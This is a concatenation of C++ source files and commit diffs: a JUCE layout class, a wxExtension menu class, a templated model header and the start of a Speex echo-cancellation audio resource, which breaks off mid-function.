conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice, \n this list of conditions and the following disclaimer in the documentation \n and\/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its contributors \n may be used to endorse or promote products derived from this software without \n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND \nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED \nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. \nIN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, \nINDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, \nBUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, \nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF \nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE \nOR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED \nOF THE POSSIBILITY OF SUCH DAMAGE.\n \n ==============================================================================\n\n juce_ak_layout.cpp\n Created: 21 Feb 2016 9:14:52pm\n\n ==============================================================================\n*\/\n\n\n#include \"juce_ak_layout.h\"\n\nLayout::Layout(Orientation o, juce::Component* owner)\n : orientation (o),\n isUpdating (false),\n isCummulatingStretch (false),\n owningComponent (owner)\n{\n}\n\nLayout::~Layout()\n{\n}\n\nvoid Layout::setOrientation (const Orientation o)\n{\n orientation = o;\n}\n\n\nLayoutItem* Layout::addComponent (juce::Component* c, int idx)\n{\n LayoutItem* item = itemsList.insert (idx, new LayoutItem (c));\n updateGeometry();\n return item;\n}\n\nvoid Layout::removeComponent (juce::Component* c)\n{\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n if (item->isComponentItem() && item->getComponent() == c) {\n itemsList.remove (i);\n }\n }\n updateGeometry();\n}\n\nLayoutItem* Layout::addLabeledComponent (juce::Component* c, Orientation o, juce::Label** labelPtr, int idx)\n{\n \/\/ if the layout is not owned by a component, the label will not show up,\n \/\/ because addAndMakeVisible can not be called.\n jassert (owningComponent);\n \n juce::Label* label = new juce::Label();\n if (owningComponent) {\n owningComponent->addAndMakeVisible (label);\n }\n float h = label->getFont().getHeight();\n Layout* sub = addSubLayout (o, idx, owningComponent);\n sub->addComponent (label)->setFixedHeight (h);\n LabeledLayoutItem* labeledItem = new LabeledLayoutItem (c, label);\n sub->addRawItem (labeledItem);\n \n if (labelPtr) {\n *labelPtr = label;\n }\n\n updateGeometry();\n return labeledItem;\n}\n\nLayoutItem* Layout::addLabeledComponent (juce::Component* component, juce::StringRef text, Orientation o, int idx)\n{\n LayoutItem* item = addLabeledComponent(component, o, nullptr, idx);\n if (juce::Label* label = item->getLabel()) {\n label->setText (text, juce::dontSendNotification);\n label->setJustificationType (juce::Justification::centred);\n }\n return item;\n}\n\nLayout* Layout::addSubLayout (Orientation o, int idx, juce::Component* owner)\n{\n SubLayout* sub = new SubLayout (o, owningComponent);\n itemsList.insert (idx, sub);\n updateGeometry();\n return sub;\n}\n\nLayoutItem* Layout::addSSpacer (float sx, float sy, int idx)\n{\n LayoutItem* item = itemsList.insert (idx, new LayoutItem (LayoutItem::SpacerItem));\n item->setStretch (sx, sy);\n updateGeometry();\n return item;\n}\n\nLayoutItem* Layout::getLayoutItem (juce::Component* c)\n{\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n if (item->isComponentItem() && item->getComponent() == c) {\n return item;\n }\n else if (item->isSubLayout()) {\n \/\/ search also sub layouts recoursively\n if (LayoutItem* subItem = getLayoutItem (c)) {\n return subItem;\n }\n }\n }\n return nullptr;\n}\n\nvoid Layout::addRawItem (LayoutItem* item, int idx)\n{\n itemsList.insert (idx, item);\n}\n\n\nvoid Layout::updateGeometry ()\n{\n if (owningComponent) {\n updateGeometry (owningComponent->getLocalBounds());\n }\n}\n\nvoid Layout::updateGeometry (juce::Rectangle<int> bounds)\n{\n \/\/ recursion check\n if (isUpdating) {\n return;\n }\n isUpdating = true;\n \n \/\/ remove items of deleted or invalid components\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n if (!item->isValid()) {\n itemsList.remove (i);\n }\n }\n\n itemsBounds.resize (itemsList.size ());\n\n float cummulatedX, cummulatedY;\n getCummulatedStretch (cummulatedX, cummulatedY);\n float availableWidth = bounds.getWidth();\n float availableHeight = bounds.getHeight();\n \n if (orientation == TopDown || orientation == BottomUp) {\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n float sx, sy;\n item->getStretch (sx, sy);\n float h = bounds.getHeight() * sy \/ cummulatedY;\n juce::Rectangle<int> childBounds (bounds.getX(), bounds.getY(), bounds.getWidth(), h);\n bool changedWidth, changedHeight;\n item->constrainBounds (childBounds, changedWidth, changedHeight);\n itemsBounds.set (i, childBounds);\n if (changedHeight) {\n itemBoundsFinal.set (i, true);\n availableHeight -= childBounds.getHeight();\n cummulatedY -= sy;\n }\n else {\n itemBoundsFinal.set (i, false);\n }\n if (changedWidth) {\n availableWidth = std::max (bounds.getWidth(), childBounds.getWidth());\n }\n }\n\n float y = bounds.getY();\n if (orientation == BottomUp) {\n y = bounds.getY() + bounds.getHeight();\n }\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n\n if (itemBoundsFinal.getUnchecked (i)) {\n float h = itemsBounds.getReference (i).getHeight();\n if (orientation == BottomUp) {\n y -= h;\n }\n juce::Rectangle<int> childBounds (bounds.getX(), y, availableWidth, h);\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n\n if (orientation == TopDown) {\n y += h;\n }\n }\n else {\n float sx, sy;\n item->getStretch (sx, sy);\n float h = availableHeight * sy \/cummulatedY;\n if (orientation == BottomUp) {\n y -= h;\n }\n juce::Rectangle<int> childBounds (bounds.getX(), y, availableWidth, h );\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n if (orientation == TopDown) {\n y += h;\n }\n }\n }\n } else if (orientation == LeftToRight || orientation == RightToLeft) {\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n float sx, sy;\n item->getStretch (sx, sy);\n float w = bounds.getWidth() * sx \/ cummulatedX;\n juce::Rectangle<int> childBounds (bounds.getX(), bounds.getY(), w, bounds.getHeight());\n bool changedWidth, changedHeight;\n item->constrainBounds (childBounds, changedWidth, changedHeight);\n itemsBounds.set (i, childBounds);\n if (changedWidth) {\n itemBoundsFinal.set (i, true);\n availableWidth -= childBounds.getWidth();\n cummulatedX -= sx;\n }\n else {\n itemBoundsFinal.set (i, false);\n }\n if (changedHeight) {\n availableHeight = std::max (bounds.getHeight(), childBounds.getHeight());\n }\n }\n\n float x = bounds.getX();\n if (orientation == RightToLeft) {\n x = bounds.getX() + bounds.getWidth();\n }\n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n\n if (itemBoundsFinal.getUnchecked (i)) {\n float w = itemsBounds.getReference (i).getWidth();\n if (orientation == RightToLeft) {\n x -= w;\n }\n juce::Rectangle<int> childBounds (x, bounds.getY(), w, availableHeight);\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n\n if (orientation == LeftToRight) {\n x += w;\n }\n }\n else {\n float sx, sy;\n item->getStretch (sx, sy);\n float w = availableWidth * sx \/cummulatedX;\n if (orientation == RightToLeft) {\n x -= w;\n }\n juce::Rectangle<int> childBounds (x, bounds.getY(), w, availableHeight);\n if (item->isSubLayout()) {\n if (Layout* sub = dynamic_cast<Layout*>(item)) {\n sub->updateGeometry (item->getPaddedBounds (childBounds));\n }\n }\n if (juce::Component* c = item->getComponent()) {\n c->setBounds (item->getPaddedBounds (childBounds));\n }\n if (orientation == LeftToRight) {\n x += w;\n }\n }\n }\n }\n\n isUpdating = false;\n}\n\nvoid Layout::getCummulatedStretch (float& w, float& h) const\n{\n w = 0.0;\n h = 0.0;\n \n if (isCummulatingStretch) {\n return;\n }\n isCummulatingStretch = true;\n \n for (int i=0; i<itemsList.size(); ++i) {\n LayoutItem* item = itemsList.getUnchecked (i);\n float x, y;\n item->getStretch (x, y);\n if (orientation == LeftToRight || orientation == RightToLeft) {\n w += x;\n h = std::max (h, y);\n }\n else if (orientation == TopDown || orientation == BottomUp) {\n w = std::max (w, x);\n h += y;\n }\n else {\n w += x;\n h += y;\n }\n ++item;\n }\n \n isCummulatingStretch = false;\n}\n\n\n\n\/\/ =============================================================================\nSubLayout::SubLayout (Orientation o, juce::Component* owner) : Layout (o, owner), LayoutItem (LayoutItem::SubLayout)\n{\n \n}\n\n\nvoid SubLayout::getStretch (float& w, float& h) const\n{\n w = 0.0;\n h = 0.0;\n getCummulatedStretch (w, h);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\\\n* File: menu.cpp\n* Purpose: Implementation of wxExMenu class\n* Author: Anton van Wezenbeek\n* RCS-ID: $Id$\n*\n* Copyright (c) 1998-2009 Anton van Wezenbeek\n* All rights are reserved. Reproduction in whole or part is prohibited\n* without the written consent of the copyright owner.\n\\******************************************************************************\/\n\n#include <wx\/wxprec.h>\n#ifndef WX_PRECOMP\n#include <wx\/wx.h>\n#endif\n#include <map>\n#include <wx\/extension\/menu.h>\n#include <wx\/extension\/art.h>\n#include <wx\/extension\/lexers.h>\n#include <wx\/extension\/tool.h>\n#include <wx\/extension\/util.h> \/\/ for wxExEllipsed\n#include <wx\/extension\/vcs.h>\n\n#if wxUSE_GUI\n\nwxExMenu::wxExMenu(long style)\n : m_Style(style)\n , m_MenuVCSFilled(false)\n{\n}\n\nwxExMenu::wxExMenu(const wxExMenu& menu)\n : m_Style(menu.m_Style)\n , m_MenuVCSFilled(menu.m_MenuVCSFilled)\n{\n}\n\nwxMenuItem* wxExMenu::Append(int id)\n{\n \/\/ Using wxMenu::Append(id)\n \/\/ also appends the stock item,\n \/\/ but does not add the bitmap.\n\n wxMenuItem* item = new wxMenuItem(this, id);\n\n const wxExStockArt art(id);\n\n if (art.GetBitmap().IsOk())\n {\n item->SetBitmap(art.GetBitmap(\n wxART_MENU, \n wxArtProvider::GetSizeHint(wxART_MENU, true)));\n }\n\n return wxMenu::Append(item);\n}\n\nwxMenuItem* wxExMenu::Append(\n int id,\n const wxString& name,\n const wxString& helptext,\n const wxArtID& artid)\n{\n wxMenuItem* item = new wxMenuItem(this, id, name, helptext);\n\n if (!artid.empty())\n {\n const wxBitmap bitmap = \n wxArtProvider::GetBitmap(\n artid, \n wxART_MENU, \n wxArtProvider::GetSizeHint(wxART_MENU, true));\n\n if (bitmap.IsOk())\n {\n item->SetBitmap(bitmap);\n }\n }\n\n return wxMenu::Append(item);\n}\n\nvoid wxExMenu::AppendBars()\n{\n AppendCheckItem(ID_VIEW_MENUBAR, _(\"&Menubar\"));\n AppendCheckItem(ID_VIEW_STATUSBAR, _(\"&Statusbar\"));\n AppendCheckItem(ID_VIEW_TOOLBAR, _(\"&Toolbar\"));\n AppendCheckItem(ID_VIEW_FINDBAR, _(\"&Findbar\"));\n}\n\nvoid wxExMenu::AppendEdit(bool add_invert)\n{\n if (!(m_Style & MENU_IS_READ_ONLY) &&\n (m_Style & MENU_IS_SELECTED))\n {\n Append(wxID_CUT);\n }\n\n if (m_Style & MENU_IS_SELECTED)\n {\n Append(wxID_COPY);\n }\n\n if (!(m_Style & MENU_IS_READ_ONLY) &&\n (m_Style & MENU_CAN_PASTE))\n {\n Append(wxID_PASTE);\n }\n\n if (!(m_Style & MENU_IS_SELECTED) &&\n !(m_Style & MENU_IS_EMPTY))\n {\n Append(wxID_SELECTALL);\n }\n else\n {\n if (add_invert && !(m_Style & MENU_IS_EMPTY))\n {\n Append(ID_EDIT_SELECT_NONE, _(\"&Deselect All\"));\n }\n }\n\n if (m_Style & MENU_ALLOW_CLEAR)\n {\n Append(wxID_CLEAR);\n }\n\n if (add_invert && !(m_Style & MENU_IS_EMPTY))\n {\n Append(ID_EDIT_SELECT_INVERT, _(\"&Invert\"));\n }\n\n if (!(m_Style & MENU_IS_READ_ONLY) &&\n (m_Style & MENU_IS_SELECTED) &&\n !(m_Style & MENU_IS_EMPTY))\n {\n Append(wxID_DELETE);\n }\n}\n\nvoid wxExMenu::AppendPrint()\n{\n Append(wxID_PRINT_SETUP, wxExEllipsed(_(\"Page &Setup\")));\n Append(wxID_PREVIEW);\n Append(wxID_PRINT);\n}\n\nvoid wxExMenu::AppendSeparator()\n{\n if (\n GetMenuItemCount() == 0 ||\n FindItemByPosition(GetMenuItemCount() - 1)->IsSeparator())\n {\n return;\n }\n\n wxMenu::AppendSeparator();\n}\n\nvoid wxExMenu::AppendSubMenu(\n wxMenu *submenu,\n const wxString& text,\n const wxString& help,\n int itemid)\n{\n if (itemid == wxID_ANY)\n {\n wxMenu::AppendSubMenu(submenu, text, help);\n }\n else\n {\n \/\/ This one is deprecated, but is necessary if\n \/\/ we have an explicit itemid.\n wxMenu::Append(itemid, text, submenu, help);\n }\n}\n\nbool wxExMenu::AppendTools(int itemid)\n{\n if (wxExLexers::Get()->Count() == 0)\n {\n return false;\n }\n\n wxExMenu* menuTool = new wxExMenu(*this);\n\n for (\n auto it = \n wxExTool::Get()->GetToolInfo().begin();\n it != wxExTool::Get()->GetToolInfo().end();\n ++it)\n {\n if (!it->second.GetText().empty())\n {\n const bool vcs_type = wxExTool(it->first).IsRCSType();\n\n if ((vcs_type && !wxExVCS::Get()->Use()) || !vcs_type)\n {\n menuTool->Append(\n it->first, \n it->second.GetText(), \n it->second.GetHelpText());\n }\n }\n }\n\n AppendSubMenu(menuTool, _(\"&Tools\"), wxEmptyString, itemid);\n\n return true;\n}\n\n\/\/ This is the VCS submenu, as present on a popup.\n\/\/ Therefore it is build when clicking, and does not\n\/\/ need to be destroyed an old one.\nvoid wxExMenu::AppendVCS(const wxExFileName& filename)\n{\n if (!wxExVCS::Get()->Use())\n {\n return;\n }\n\n const int vcs_offset_id = ID_EDIT_VCS_LOWEST + 1;\n\n wxExMenu* vcsmenu = new wxExMenu;\n wxExVCS::Get()->BuildMenu(vcs_offset_id, vcsmenu, filename);\n\n if (vcsmenu->GetMenuItemCount() > 0)\n { \n AppendSubMenu(vcsmenu, \"&VCS\");\n }\n}\n\n\/\/ This is the general VCS menu, it is in the main menu,\n\/\/ and because contents depends on actual VCS used,\n\/\/ it is rebuild after change of VCS system.\nvoid wxExMenu::BuildVCS(bool fill)\n{\n if (m_MenuVCSFilled)\n {\n wxMenuItem* item;\n\n while ((item = FindItem(wxID_SEPARATOR)) != NULL)\n {\n Destroy(item);\n }\n\n for (int id = ID_VCS_LOWEST + 1; id < ID_VCS_HIGHEST; id++)\n {\n \/\/ When using only Destroy, and the item does not exist,\n \/\/ an assert happens.\n if (FindItem(id) != NULL)\n {\n Destroy(id);\n }\n }\n }\n\n if (fill)\n {\n const int vcs_offset_id = ID_VCS_LOWEST + 1;\n wxExVCS::Get()->BuildMenu(vcs_offset_id, this, wxExFileName(), false); \/\/ no popup\n }\n\n m_MenuVCSFilled = fill;\n}\n#endif \/\/ wxUSE_GUI\n<commit_msg>fixed return value<commit_after>\/******************************************************************************\\\n* File: menu.cpp\n* Purpose: Implementation of wxExMenu class\n* Author: Anton van Wezenbeek\n* RCS-ID: $Id$\n*\n* Copyright (c) 1998-2009 Anton van Wezenbeek\n* All rights are reserved. Reproduction in whole or part is prohibited\n* without the written consent of the copyright owner.\n\\******************************************************************************\/\n\n#include <wx\/wxprec.h>\n#ifndef WX_PRECOMP\n#include <wx\/wx.h>\n#endif\n#include <map>\n#include <wx\/extension\/menu.h>\n#include <wx\/extension\/art.h>\n#include <wx\/extension\/lexers.h>\n#include <wx\/extension\/tool.h>\n#include <wx\/extension\/util.h> \/\/ for wxExEllipsed\n#include <wx\/extension\/vcs.h>\n\n#if wxUSE_GUI\n\nwxExMenu::wxExMenu(long style)\n : m_Style(style)\n , m_MenuVCSFilled(false)\n{\n}\n\nwxExMenu::wxExMenu(const wxExMenu& menu)\n : m_Style(menu.m_Style)\n , m_MenuVCSFilled(menu.m_MenuVCSFilled)\n{\n}\n\nwxMenuItem* wxExMenu::Append(int id)\n{\n \/\/ Using wxMenu::Append(id)\n \/\/ also appends the stock item,\n \/\/ but does not add the bitmap.\n\n wxMenuItem* item = new wxMenuItem(this, id);\n\n const wxExStockArt art(id);\n\n if (art.GetBitmap().IsOk())\n {\n item->SetBitmap(art.GetBitmap(\n wxART_MENU, \n wxArtProvider::GetSizeHint(wxART_MENU, true)));\n }\n\n return wxMenu::Append(item);\n}\n\nwxMenuItem* wxExMenu::Append(\n int id,\n const wxString& name,\n const wxString& helptext,\n const wxArtID& artid)\n{\n wxMenuItem* item = new wxMenuItem(this, id, name, helptext);\n\n if (!artid.empty())\n {\n const wxBitmap bitmap = \n wxArtProvider::GetBitmap(\n artid, \n wxART_MENU, \n wxArtProvider::GetSizeHint(wxART_MENU, true));\n\n if (bitmap.IsOk())\n {\n item->SetBitmap(bitmap);\n }\n }\n\n return wxMenu::Append(item);\n}\n\nvoid wxExMenu::AppendBars()\n{\n AppendCheckItem(ID_VIEW_MENUBAR, _(\"&Menubar\"));\n AppendCheckItem(ID_VIEW_STATUSBAR, _(\"&Statusbar\"));\n AppendCheckItem(ID_VIEW_TOOLBAR, _(\"&Toolbar\"));\n AppendCheckItem(ID_VIEW_FINDBAR, _(\"&Findbar\"));\n}\n\nvoid wxExMenu::AppendEdit(bool add_invert)\n{\n if (!(m_Style & MENU_IS_READ_ONLY) &&\n (m_Style & MENU_IS_SELECTED))\n {\n Append(wxID_CUT);\n }\n\n if (m_Style & MENU_IS_SELECTED)\n {\n Append(wxID_COPY);\n }\n\n if (!(m_Style & MENU_IS_READ_ONLY) &&\n (m_Style & MENU_CAN_PASTE))\n {\n Append(wxID_PASTE);\n }\n\n if (!(m_Style & MENU_IS_SELECTED) &&\n !(m_Style & MENU_IS_EMPTY))\n {\n Append(wxID_SELECTALL);\n }\n else\n {\n if (add_invert && !(m_Style & MENU_IS_EMPTY))\n {\n Append(ID_EDIT_SELECT_NONE, _(\"&Deselect All\"));\n }\n }\n\n if (m_Style & MENU_ALLOW_CLEAR)\n {\n Append(wxID_CLEAR);\n }\n\n if (add_invert && !(m_Style & MENU_IS_EMPTY))\n {\n Append(ID_EDIT_SELECT_INVERT, _(\"&Invert\"));\n }\n\n if (!(m_Style & MENU_IS_READ_ONLY) &&\n (m_Style & MENU_IS_SELECTED) &&\n !(m_Style & MENU_IS_EMPTY))\n {\n Append(wxID_DELETE);\n }\n}\n\nvoid wxExMenu::AppendPrint()\n{\n Append(wxID_PRINT_SETUP, wxExEllipsed(_(\"Page &Setup\")));\n Append(wxID_PREVIEW);\n Append(wxID_PRINT);\n}\n\nvoid wxExMenu::AppendSeparator()\n{\n if (\n GetMenuItemCount() == 0 ||\n FindItemByPosition(GetMenuItemCount() - 1)->IsSeparator())\n {\n return;\n }\n\n wxMenu::AppendSeparator();\n}\n\nvoid wxExMenu::AppendSubMenu(\n wxMenu *submenu,\n const wxString& text,\n const wxString& help,\n int itemid)\n{\n if (itemid == wxID_ANY)\n {\n wxMenu::AppendSubMenu(submenu, text, help);\n }\n else\n {\n \/\/ This one is deprecated, but is necessary if\n \/\/ we have an explicit itemid.\n wxMenu::Append(itemid, text, submenu, help);\n }\n}\n\nbool wxExMenu::AppendTools(int itemid)\n{\n if (wxExLexers::Get()->Count() == 0)\n {\n return false;\n }\n\n wxExMenu* menuTool = new wxExMenu(*this);\n\n for (\n auto it = \n wxExTool::Get()->GetToolInfo().begin();\n it != wxExTool::Get()->GetToolInfo().end();\n ++it)\n {\n if (!it->second.GetText().empty())\n {\n const bool vcs_type = wxExTool(it->first).IsRCSType();\n\n if ((vcs_type && !wxExVCS::Get()->Use()) || !vcs_type)\n {\n menuTool->Append(\n it->first, \n it->second.GetText(), \n it->second.GetHelpText());\n }\n }\n }\n\n AppendSubMenu(menuTool, _(\"&Tools\"), wxEmptyString, itemid);\n\n return true;\n}\n\n\/\/ This is the VCS submenu, as present on a popup.\n\/\/ Therefore it is build when clicking, and does not\n\/\/ need to be destroyed an old one.\nvoid wxExMenu::AppendVCS(const wxExFileName& filename)\n{\n if (!wxExVCS::Get()->Use())\n {\n return;\n }\n\n const int vcs_offset_id = ID_EDIT_VCS_LOWEST + 1;\n\n wxExMenu* vcsmenu = new wxExMenu;\n wxExVCS::Get()->BuildMenu(vcs_offset_id, vcsmenu, filename);\n\n if (vcsmenu->GetMenuItemCount() > 0)\n { \n AppendSubMenu(vcsmenu, \"&VCS\");\n }\n}\n\n\/\/ This is the general VCS menu, it is in the main menu,\n\/\/ and because contents depends on actual VCS used,\n\/\/ it is rebuild after change of VCS system.\nvoid wxExMenu::BuildVCS(bool fill)\n{\n if (m_MenuVCSFilled)\n {\n wxMenuItem* item;\n\n while ((item = FindItem(wxID_SEPARATOR)) != NULL)\n {\n Destroy(item);\n }\n\n for (int id = ID_VCS_LOWEST + 1; id < ID_VCS_HIGHEST; id++)\n {\n \/\/ When using only Destroy, and the item does not exist,\n \/\/ an assert happens.\n if (FindItem(id) != NULL)\n {\n Destroy(id);\n }\n }\n }\n\n if (fill)\n {\n const int vcs_offset_id = ID_VCS_LOWEST + 1;\n \n wxExVCS::Get()->BuildMenu(\n vcs_offset_id, \n this, \n wxExFileName(), \n false); \/\/ no popup\n \n if (GetMenuItemCount() == 0)\n {\n fill = false;\n }\n }\n\n m_MenuVCSFilled = fill;\n}\n#endif \/\/ wxUSE_GUI\n<|endoftext|>"} {"text":"<commit_before>#ifndef MODEL_HPP\n#define MODEL_HPP\n\n#include <vector>\n#include <iostream>\n#include <utility>\n#include <cmath>\n\n#include \"..\/inc\/quat.hpp\"\n#include \"..\/inc\/dual.hpp\"\n\nnamespace Model {\n\t\n\ttemplate<typename R = float>\n\tstd::ostream& operator<<(std::ostream& lhs, \n\t\t\tquat<R> const& rhs) {\n\t\tquat<R> singlet = rhs.w;\n\t\tif(rhs == singlet) {return lhs << rhs.w;}\n\t\treturn lhs << \"[\" << rhs.w << \", \" << rhs.x \n\t\t\t<< \", \" << rhs.y << \", \" << rhs.z << \"]\";\n\t}\n\n\ttemplate<typename R = float>\n\tstd::ostream& operator<<(std::ostream& lhs, dual<R> const& rhs) {\n\t\treturn lhs << \"{\" << rhs.u << \", \" << rhs.v << \"}\";\n\t}\n\n\tint test(void);\n}\n\n#endif\n<commit_msg>Added simple model container<commit_after>#ifndef MODEL_HPP\n#define MODEL_HPP\n\n#include <map>\n#include <vector>\n#include <functional>\n#include <iostream>\n#include <utility>\n#include <cmath>\n\n#include \"..\/inc\/quat.hpp\"\n#include \"..\/inc\/dual.hpp\"\n\nnamespace Model {\n\n\ttemplate<typename R = float>\n\tstruct model {\n\t\tstatic unsigned int nextID;\n\t\tconst unsigned int uid;\n\t\tbool operator<(model<R> const& rhs) const {\n\t\t\treturn uid < rhs.uid;\n\t\t}\n\t\tstd::map<model<R>,dual<R>> subs;\n\t\tmodel(void): uid(nextID++), subs{} {}\n\t};\n\ttemplate<typename R = float>\n\tstd::ostream& operator<<(std::ostream& lhs, model<R> const& rhs) {\n\t\tfor(auto &entry : rhs.subs) {\n\t\t\tlhs << entry.second << \": \" << entry.first << \"\\r\\n\";\n\t\t}\n\t\treturn lhs;\n\t}\n\t\n\ttemplate<typename R = float>\n\tstd::ostream& operator<<(std::ostream& lhs, \n\t\t\tquat<R> const& rhs) {\n\t\tquat<R> singlet = rhs.w;\n\t\tif(rhs == singlet) {return lhs << rhs.w;}\n\t\treturn lhs << \"[\" << rhs.w << \", \" << rhs.x \n\t\t\t<< \", \" << rhs.y << \", \" << rhs.z << \"]\";\n\t}\n\n\ttemplate<typename R = float>\n\tstd::ostream& operator<<(std::ostream& lhs, dual<R> const& rhs) {\n\t\treturn lhs << \"{\" << rhs.u << \", \" << rhs.v << \"}\";\n\t}\n\n\tint test(void);\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (C) 2004-2006 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ Copyright (C) 2006 ProfitFuel Inc. All rights reserved.\n\/\/ Licensed to SIPfoundry under a Contributor Agreement.\n\/\/ \n\/\/ Copyright (C) 2006 SIPez LLC. \n\/\/ Licensed to SIPfoundry under a Contributor Agreement. \n\/\/\n\/\/ $$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef HAVE_SPEEX \/\/ [\n\n\/\/ SYSTEM INCLUDES\n#include <speex\/speex_echo.h>\n#include <speex\/speex_types.h>\n\n\/\/ APPLICATION INCLUDES\n#include \"os\/OsDefs.h\"\n#include \"mp\/MpMisc.h\"\n#include \"mp\/MpBuf.h\"\n#include \"mp\/MpBufPool.h\"\n#include \"mp\/MpBufferMsg.h\"\n#include \"mp\/MprSpeexEchoCancel.h\"\n\n\/\/ EXTERNAL FUNCTIONS\n\/\/ EXTERNAL VARIABLES\n\/\/ CONSTANTS\n\/\/ STATIC VARIABLE INITIALIZATIONS\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PUBLIC \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\n\/* ============================ CREATORS ================================== *\/\n\n\/\/ Constructor\nMprSpeexEchoCancel::MprSpeexEchoCancel(const UtlString& rName,\n int samplesPerFrame, int samplesPerSec,\n int filterLength,\n int echoResiduePoolSize)\n: MpAudioResource(rName, 1, 1, 1, 2, samplesPerFrame, samplesPerSec)\n, mEchoResiduePool( MpArrayBuf::getHeaderSize() + sizeof(spx_int32_t)*(samplesPerFrame + 1),\n echoResiduePoolSize)\n{\n \/\/Initilize Speex Echo state with framesize and number of frames for length of buffer\n mpEchoState = speex_echo_state_init(samplesPerFrame, \n samplesPerSec*filterLength\/1000);\n\n \/\/mpEchoResidue = (spx_int32_t*)malloc(sizeof(spx_int32_t) * (samplesPerFrame + 1));\n mStartedCanceling = false; \/\/ Debug Use only\n}\n\n\/\/ Destructor\nMprSpeexEchoCancel::~MprSpeexEchoCancel()\n{\n if (mpEchoState != NULL) {\n speex_echo_state_destroy(mpEchoState);\n mpEchoState = NULL;\n }\n}\n\n\/* ============================ MANIPULATORS ============================== *\/\n\n\/* ============================ ACCESSORS ================================= *\/\n\n\/* ============================ INQUIRY =================================== *\/\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PROTECTED \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PRIVATE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\nUtlBoolean MprSpeexEchoCancel::doProcessFrame(MpBufPtr inBufs[],\n MpBufPtr outBufs[],\n int inBufsSize,\n int outBufsSize,\n UtlBoolean isEnabled,\n int samplesPerFrame,\n int samplesPerSecond)\n{\n MpAudioBufPtr outBuffer;\n MpAudioBufPtr inputBuffer;\n MpAudioBufPtr echoRefBuffer;\n MpArrayBufPtr echoResidueBuffer;\n MpBufferMsg* bufferMsg;\n spx_int32_t* pEchoResidue;\n\n \/\/ We don't need to do anything if we don't have an output.\n if (!isOutputConnected(0) && !isOutputConnected(1))\n return FALSE;\n\n \/\/ If disabled pass buffer through\n if (!isEnabled) {\n outBufs[0].swap(inBufs[0]);\n return TRUE;\n }\n\n \/\/ Get incoming data\n inputBuffer.swap(inBufs[0]);\n\n \/\/ If the object is not enabled or we don't have valid input,\n \/\/ pass input to output\n if ( inputBuffer.isValid()\n && (inputBuffer->getSamplesNumber() == samplesPerFrame))\n {\n \/\/ This buffer will be modified in place. Make sure we're the only owner.\n assert(inputBuffer.requestWrite());\n\n \/\/ Try to get a reference frame for echo cancelation. 21 = MAX_SPKR_BUFFERS(12) +\n if (MpMisc.pEchoQ->numMsgs() > MAX_ECHO_QUEUE) {\n\n \/\/ Flush queue\n while ( (MpMisc.pEchoQ->receive((OsMsg*&) bufferMsg, OsTime::NO_WAIT_TIME) == OS_SUCCESS)\n && 